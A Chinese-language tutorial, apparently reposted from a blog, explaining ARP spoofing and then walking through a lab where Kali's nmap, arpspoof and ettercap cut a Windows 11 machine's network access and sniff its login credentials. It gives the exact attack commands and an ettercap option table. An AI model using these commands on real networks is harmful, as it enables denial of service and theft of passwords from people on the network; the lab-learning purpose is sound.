作者:geek_Niko

声明:

本文仅供学习使用,请勿用作其他用途。任何未经允许的渗透行为均属违法行为。

目的:

如何借助Kali Linux系统内置的nmap、arpspoof、ettercap等渗透测试工具对局域网内同个网段的PC主机进行ARP欺骗和流量监听,实现断网攻击、密码窃取等

工具:
工具 说明
nmap 网络扫描工具,用于扫描局域网存活设备和开放端口与对应开启的服务
arpspoof ARP欺骗工具,可毒化受害者ARP缓存,将网关MAC地址替换为攻击者MAC
ettercap 网络抓包工具,利用ARP协议的缺陷进行中间人攻击,嗅探局域网数据流量
实验环境:
主机 IP地址
Kali Linux 192.168.2.208
Win11物理机 192.168.2.223

备注:Kali Linux虚拟机使用桥接模式与Win11物理机处于同一局域网下

*ARP欺骗原理

1、ARP协议

​ 地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。地址解析协议是建立在网络中各个主机互相信任的基础上的,局域网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存。

2、ARP工作过程

​ 假设主机A和B在同一个网段,主机A要向主机B发送信息,具体的地址解析过程如下:

  1. 主机A首先查看自己的ARP缓存表,确定其中是否包含有主机B对应的ARP表项。如果找到了对应的MAC地址,则主机A直接利用ARP表中的MAC地址,对IP数据包进行帧封装,并将数据包发送给主机B。
  2. 如果主机A在ARP表中找不到对应的MAC地址,则将缓存该数据报文,然后以广播方式发送一个ARP请求报文。ARP请求报文中的发送端IP地址和发送端MAC地址为主机A的IP地址和MAC地址,目标IP地址和目标MAC地址为主机B的IP地址和全0的MAC地址。由于ARP请求报文以广播方式发送,该网段上的所有主机都可以接收到该请求,但只有被请求的主机(即主机B)会对该请求进行处理。
  3. 主机B比较自己的IP地址和ARP请求报文中的目标IP地址,当两者相同时进行如下处理:将ARP请求报文中的发送端(即主机A)的IP地址和MAC地址存入自己的ARP表中。之后以单播方式发送ARP响应报文给主机A,其中包含了自己的MAC地址。
  4. 主机A收到ARP响应报文后,将主机B的MAC地址加入到自己的ARP表中以用于后续报文的转发,同时将IP数据包进行封装后发送出去。

​ 当主机A和主机B不在同一网段时,主机A就会先向网关发出ARP请求,ARP请求报文中的目标IP地址为网关的IP地址。当主机A从收到的响应报文中获得网关的MAC地址后,将报文封装并发给网关。如果网关没有主机B的ARP表项,网关会广播ARP请求,目标IP地址为主机B的IP地址,当网关从收到的响应报文中获得主机B的MAC地址后,就可以将报文发给主机B;如果网关已经有主机B的ARP表项,网关直接把报文发给主机B。

3、ARP欺骗

​ 地址解析协议是建立在网络中各个主机互相信任的基础上的,局域网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存;由此攻击者就可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。

​ 由于ARP缓存表不是实时更新的,如果在网络中产生大量的ARP通信量,攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目,造成网络中断或中间人攻击。

一、断网攻击

1、设置Kali虚拟机网络为桥接模式并查看ip地址和网关

#ifconfig

请添加图片描述

#route -n
请添加图片描述

2、使用nmap扫描局域网存活主机与信息

#nmap -sP 192.168.2.0/24

请添加图片描述

3、运行arpspoof工具实现ARP断网攻击

#arpspoof -i eth0 -t 192.168.2.223(目标IP) 192.168.2.1(网关IP)

请添加图片描述

4、结果
未攻击前正常上网

请添加图片描述

攻击开始后win11主机无法上网

请添加图片描述
请添加图片描述

关闭攻击后网络恢复

请添加图片描述

二、流量监听

1、修改端口转发配置
1)临时修改
a)修改参数

#sysctl -w net.ipv4.ip_forward=1

请添加图片描述

b)更新系统配置

sysctl -p

2)永久修改
a)使用vim修改/etc/sysctl.conf配置文件

#vim /etc/sysctl.conf

b)添加修改内容
net.ipv4.ip_forward=1 #开机端口转发功能
c)更新系统配置

#sysctl -p

2、运行arpspoof攻击,实现流量转发代理

#arpspoof -i eth0 -t 192.168.2.1(网关IP) 192.168.2.223(目标IP)

请添加图片描述

win11靶机联网正常,端口转发成功

请添加图片描述

3、ettercap窃听数据

注:需开启新的终端

1)开始窃听

#ettercap -Tq -i eth0

请添加图片描述

2)靶机win11上打开一个网站,并且输入账号密码进行登录

请添加图片描述

3)成功窃听到对应靶机发出的请求数据

请添加图片描述

4)ettercap用法
选项 描述
-l 显示可用网卡接口设备
-i 选择接口
-t 协议选择,tcp/udp/all,默认all
-p 不进行毒化攻击,用于嗅探本地数据包
-L 载入过滤器文件
-V text 将数据包以文本形式显示在屏幕上
-L filename 把所有的数据包保存下来(保存后的文件只能用etterlog显示)
*本次演示到此结束*

转自:
https://blog.csdn.net/m0_53533877/article/details/130126648